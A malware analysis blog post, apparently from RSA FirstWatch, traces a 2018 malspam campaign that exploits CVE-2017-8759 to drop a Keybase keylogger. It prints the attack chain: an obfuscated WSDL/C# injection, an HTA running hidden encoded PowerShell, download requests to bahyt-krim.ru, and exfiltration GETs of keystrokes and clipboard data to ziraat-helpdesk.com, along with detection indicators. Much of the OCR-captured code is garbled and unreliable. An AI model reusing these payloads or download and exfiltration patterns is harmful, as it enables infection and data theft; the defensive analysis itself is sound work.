Malspam delivers Keybase keylogger 2-11-2017

}g community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017
February 15, 2018

Malspam activity was observed on February 11th delivering a Keybase variant. The
keylogger was first reported by security researchers at Palo Alto Networks in 2015.
FirstWatch previously blogged about how to detect it using RSA NetWitness.

The delivery document is crafted to exploit CVE-2017-8759 in Microsoft Office. CVE-2017-
8759 is a SOAP WSDL parser code injection vulnerability. FirstWatch dug deeper into that
vulnerability in a previous threat advisory.

Upon opening the RTF document with an un-patched Microsoft Word, the user is presented
with an empty page:
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In the background there is an HTTP request over SSL to a[.]Jpomfe[.]co :
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https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017
https://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/
https://community.rsa.com/community/products/netwitness/blog/2015/06/25/detecting-keybase-variants-using-security-analytics
https://www.virustotal.com/#/file/4487cb74d5524d57eb0859bdda34fd9ba7f426fd0867e8826ac2e8c787052848/detection
https://community.rsa.com/community/products/netwitness/blog/2017/09/18/malspam-and-cve-2017-8759

m m https://a.pomfe.cofyqlgje

— REQUEST
GET /yqlgje HTTP/1.1
Host:  a.pomfe.ce
Connection: Keep-Alive

<definitions
xmlns="http:/fschemas.xmlsoap.org/wsdl/"
xmlns:soap="http: //schemas. xmlsoap.org/wsdl/soap/™
xmlns:sudse"http: //wew.wd . org/ 2080/ wsdl /suds™>
cportType names"alyvKYmPL™/>
<binding names"fQOXpc" types"
«soap:binding style="afnwS1NWMB™ transports
<suds:class types=“aZ® rootTypes"
</binding>
<service name="aBBUY1"»
<port names="agCbzaknfoa™ binding="fQoxpc™>
<soap:address locations"http://sMsHTa.eXEshttp://bahyt-krim.ru/img/team/bob. hta™/>
<soap:address  locations";
string [] Zakdn = {_url.Split("=')[1], _url.Split('s=")[2]};;
string MDpyab5SIw = string.Empty;
char[] ti = new char[9];
tife] = "\ueeas';ti[1] = *\wee37';ti[2] = 'f";ti[3] = (char)ex32;

+— RESPONSE

Date:
Content-Type:
Content-Length:
Connection:
Set-Cookie:

Last-Modified:

ETag:
Strict-Transpert-Security:
X-Frame-Qptions:
X-Content-Type-Options:
X-XS5-Protection:
Referrer-Paolicy:
CF-Cache-Status:
Expires:

Cache-Control:
Accept-Ranges:
Expect-CT:

Server;

CF-RAY:

HTTR/1.1 200 OK

Mon, 12 Feb 2018 12
application/octet-stream

13711

keep-alive

__ cfduideddaSfT9d7eB179997162c252c£Tcl0e141518437
160; expires=Tue, 12-Feb-19% 12
Sun, 11 Fab 2018 21
"S5aB0aff5-358£f"

max-age=31536000; includeSubDomains; preleoad
SAMECRIGIN

nosniff

1;: mode=block

no-referrer

HIT

Thu, 15 Mar 2018 12

public, max-age=2678400

bytes

max-age=604800, report-uri="https
cloudflare

Jebf6b5dlf0e23cc-IAD

tif4] = (char)exa3d;ti[s] = (char)74;ti[6) = "\ueass';ti[7] = {char){{{( ~-794752576) & Ox45CEATF) + 29) % ((BxODF4@5E + 8x14) ¥ ((Ox5825C3F ~ (318 - 194)) ~ { ~-48))));
ti[8] = (char)(158 * ((213 » “\wee3C') | ( ~(-199 | *WweasD'))));for (int 18cRb = 8; 180Rb < ti.Length; 180Rb++)

MDpyabSIw += ti[18oRb];;
if (System.AppDomain.CurrentDomain.GetData(MDpyabSIn) ==
string QBnBcvl26 = string.Empty;
char[] dkGX9i = new char[18];
dkGx9Li[@] = "\wees53";dkGXIi[1] = "\weeTd' ;dkGX9i[2] = (char)115;dkGX9i[3] = (char)116;
dkGX9L[4] = (char)((212 * ('i" + 4)) - ('\u@BSE' ~ "\wBBBA'));dkGXIL[5] = '\uBBED';
dkGXIL[6] =
QBnBcvl2E += dKGXIE[XGEXZSWLPE];;
string MNuChL = string.Empty;

null) {

"Lt idkGX9E[7] = '\uB@GA';dkGNO[B] = \uBREC';dkGX9i[2] = '\WBBEC';for (int XGBNZSWLPE = B; XGEXZSWLPE < dKGXIL.lLength; XGSXZSWLPE++)

Traffic Flow Direction (1 value) 2
outbound (3)

@"

Source IP Address ~
Closed - Click to Open

&y ~

Destination IP address (1 value) &
104.24.109.15 (3)

(9> -
i 1 P
P Service Type (1 value)
S5L(3)

Hostname Aliases (1 value) ~
a.pomfe.co (3)

= Service Analysis (2 values) ~
@ ysis (

tld not com net org (3) - ssl certificate missing subject organizational name (3)

Next comes the request to retrieve an HTA script from bahyt-krim[.]Jru :
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GET /img/team/bob.hta HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCCZ; .NET CLR 2.0.50727; .NET CLR 3.5.30729;
.NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: bahyt-krim.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.12.2

Date: Mon, 12 Feb 2018 12:06:49 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive
Content-Encoding: gzip

<!DOCTYPE html>

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIEB" >

<html>

<body>

<SCripT TypE="teXT/vbScript">

diM CUNWEDOeVitmWU : dIm yPYSkHCgMonsdy : SEt CUNWEDOeVitmWU = CREATEOBJECT ( Chr(&HS57) & StrReverse(ChrW(&H53)) &
StrReverse (Chr(&H63)) & StrReverse(ChrW(&H72)) & StrReverse(Chr(&H49)) & StrReverse(ChrW(&H70)) & StrReverse(ChrW(&H54)) &
StrReverse (Chr(&H2E)) & Chr(&H73) & Chr(&H48) & Chr(&H65) & ChrW(&H4C) & StrReverse(Chr(&H4C)) ) : yPYSkHCgMonsdy = "
PoweRsHell.eXe -eX ByPASs -noP -W hidden -ec
IABzAGUAVAAtAGMALWBOAHQARQBUAFQATAREAHYAY(QBsAFUAZQAGACGATgBFAHCALOBVAEIASgEFAEMAVAAGAFMALQBzAFQARDOBNACAADgEFAHQALGBXAEUAYgED
AGWASQBFAE4AdARPAC4ARABPAFCATGBSAGBAQOBKAEQAYQOBOAEEAKARGABOgaABOAHQACAAGACBALWBiAGEAAABSAHQALOBrAHIARAQBtAC4ACGB1ACBRAQBLAGSA
LwBOAGUAYQBtAC8AegBpAHIAYQBhAHQOAXWBiAGEAY gBiAHKALgElAHgAZQAdICAAKQAGACOAZQBUAEMALWBEAGKATgBNACARQgBSAHDARQAGACOAUABBAFQRaARg

o allas.host = 'bahyt-krim.ru’ | filename = "bob.hta'

2018 | % | 20:35:00 (+00:00) This Week 2018 | % | 20:34:50 (+00:00)
 visualization

g  Destination IP address (1 value) P

37.150.213.103 (1)

lue) &
PEN Service Type (1 value)
HTTP (1)

Hostname Aliases (1 value) &
bahyt-krim.ru (1)

£ Action Event (1 value) ©
Eet(1)

Service Analysis (7 values)
tld not com net org (1) - http1.1 without referer header (1) - http six or less headers (1) - http not good moezilla (1) - http no referer (1) - http long user-agent (1) - http get no post (1)

Then an executable ziraat_bobby.exe; a Keybase variant; is downloaded from the same
domain:

GET /img/team/ziraat bobby.exe HITP/l.1l
Host: bahyt-krim.ru
Connecticn: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.12.2

Date: Mon, 12 Feb 2018 12:07:25 GMT
Content-Type: application/octet-stream
Content-Length: 495616

Connection: keep-alive

Last-Modified: Sun, 11 Feb 2018 21:01:15 GMT
ETag: "79000-564f60febadca”

Accept-Ranges: bytes

ME..vsesnnrensnrssssrnssBrocesnnssssanssssncsssnsssanssssnssssnrssssnsass «la.L.1This program cannot be run in DOS mode.

e -
T L
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https://www.virustotal.com/#/file/df48d1ef1d11b4b5bbc92f52de489935ffb9e36ff226b9ac0a7f5c899b9f1db1/detection

Filename Size Info File Hashes
24029604-107-0_1.ziraat_bobby.exe 295616kytas application/e.. > GedaIBaoARAAITeeA0
T aliashost= ‘bahyt-krim.ru’ | filename = ‘ziraat_bobby.exe'
2018 | %2 | 20:36:00 (+00:00) This Week 2018 | 2| 20:35:59 (+00:00)

2 Visualization

o ServiceType (1 value) ~
HTTE (1)

Hostname Aliases (1 value) 2
bahyt-krim.ru (1)

£ Action Event (1 value) &
get(1)

Service Analysis (12 values) P

watchlist file fingerprint (1) - watchlist file extension (1) - tid not com net org (1) - http1.1 without user-agent header (1) - http1.1 without referer header (1) - http1.1 without accept header (1) - http1.0

high header count (1) - http two headers (1) - http six or less headers (1) - http no user-agent (1) - http no referer (1) - hitp get no post (1) - http four or less headers (1)

Once the download is complete, the binary executes and it starts to exfiltrate data in the
query strings of successive HTTP GET requests to ziraat-helpdesk[.Jcom:

HTTP/1.1
Host: ziraat-helpdesk.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 12 Feb 2018 21:49:48 GMT
Server: Apache

Upgrade: h2,h2c

Connecticn: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=10000
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<br>Success

GET /components/com_content/bobby/post.php?

GET /components/com_content/bobby/post.php?
type=clipboard&machinename-SSNSNil swindowtitle=aclipboardtext=www.youtube.com/watch?v=9bZkp7gl9f0amachinetime=2:40%20PM

type=keystrokesimachinename-SSSNeNee: vindowtitle=Program%20Managerikeystrokestyped=&machinetime=2:40%20PM HTTP/1.1

Host: ziraat-helpdesk.com

HTTP/1.1 200 OK

Date: Mon, 12 Feb 2018 21:50:05 GMT
Server: Apache

Upgrade: h2,h2c

Connection: Upgrade
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<br>Success
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GET /components/com_content/bobby/post.php?

type=keystrokesimachinename -l cwindowt it le=Task%20Switching&keystrokestyped=%09%09&machinetime=5:10%20PM HTTP/1.1
Host: ziraat-helpdesk.com

Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Mon, 12 Feb 2018 21:51:05 GMT
Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=10000
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<br>Success

Post infection HTTP sessions were tagged with keybase malware in NetWitness Packets:

T allas.host = 'ziraat-helpdesk.com' = | service = 80

2018 | 3 | 17:48:00 (+00:00) This Week 2018 | $ | 17:47:59 (+00:00)

“ Visualization

Hostname Aliases (1 value) 2
ziraat-helpdesk.com (5)

g Action Event (1 value) P
get(s)

I P
7 Querystring (5 values)

type=keystrokes&machir “ indowtitle=t... (1) - type=key hinename-missimijisil windowtitle=p... (1) - type=clipboard&machinename=nsmmsisijisitwind owtitle=8a... (1)
- type=clip i 3 indowtitle=&a... (1) - type=clip hinenam S Bwindowtitle=8a... (1)

@ Service Analysis (13 values) P
watchlist file extension (3) - http1.1 without user-agent header (3) - http1.1 without referer header (5) - http1.1 without accept header (5) - http1.1 uncommon upgrade header (5) - http1.0 high
header count (5) - http six or less headers (5) - http no user-agent (5) - hitp no referer (5) - http get no post (S) - http four or less headers (3) - hitp two headers (4) - http1.1 without connection
header (1)

@ Session Analysis ~
Closed - Click to Open

@ Indicators of Compromise (1 value) ©

keybase malware (5)

Here is the analysis report from hybrid-analysis.com

It is worth mentioning that the delivery domain bahyt-krim[.Jru has been active over the past
couple of days:

Event Time EventType  Source Info Destination Info Hostname Alias Directory Filename Destination Organization
2018-02-12T12:06:49  Network 10.10.10.169 : 43191 37.150.213.103: 80 balhyt-krim.ru fimg/ieam/ bob.a J5C Kazakhtelecom
2018-02-12T1207:25  Metwork 10.10.10.169 : 49202 37.150.213.103 : 80 bahyt:krim.ru fimgfteam/ ziraat_bobby.exe J5C Kazakhtelecom
2018-02-13T12:20:33  Network 10.10.10.162 : 49166 37.150.213.103: 80 bakhyt-krim.ru fimg/reams agoo J5C Kazakhtelecom
2018-02-13T12:20:40  Network 10.10.10.162 : 49180 37.150.213.103: 80 bahyt-krim.ru Aimgieam ago.hta 15C Kazakhtelecom
2018-02-13T12:20:48 MNetwork 10.10.10.162 : 49186 37.150.213.103 : 80 bakvyt-korim.ru fimg/reamy ziraat_agogo.exe J5C Kazakhrelecom
20M8-02-13T12:34:06  Network 10.10.10.170 ; 49168 37.150.213.103 . 80 bahyt-krim.ru Mimglheam/ akiiii J5C Kazakhaelecom
2018-02-13T12:34:11  Network 10.10.10.170 : 49178 37.150.213.103: 80 bahyt-krim.ru fimgfeam/ okdii.hta J5C Kazakheelecom
2018-02-13T12:34:23  Netwwork 10.40.10.170: 49185 37.150.213.103: 80 bakhyt-krim.ru fimgfream/ okil.exe 15C Kazakhtelecom
2018-02-13T13:09:46  Metwork 10.10.10.172 : 49166 37.150.213.103: 80 bakyt-krim.ru fimg/fteamy emyyy J5C Kazakhtelecom
2018-02-13T13:09:53  Newwork 10.10.10.172: 49177 37.150.213.103: 80 bakhyt-krim.ru fimg/reamy emyyy.hta J5C Kazakheelecom
2018-02-13T13:110:06  Metwork 10.10.10.172 : 49183 37.150.213.103: 80 bakvyt-krim.ru Mimg/fteamy emyy.exe 15C Kazakhtelecom

Delivery document (SHA256):
4487cb74d5524d57eb0859bdda34fd9ba7f426fd0867e8826ac2e8c787052848

ziraat_bobby.exe (SHA256):
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https://www.hybrid-analysis.com/sample/df48d1ef1d11b4b5bbc92f52de489935ffb9e36ff226b9ac0a7f5c899b9f1db1?environmentId=100

df48d1ef1d11b4b5Sbbc92f52de489935ffb9e36ff226b9ac0a7f5c899b9f1db1

FirstWatch A RSA
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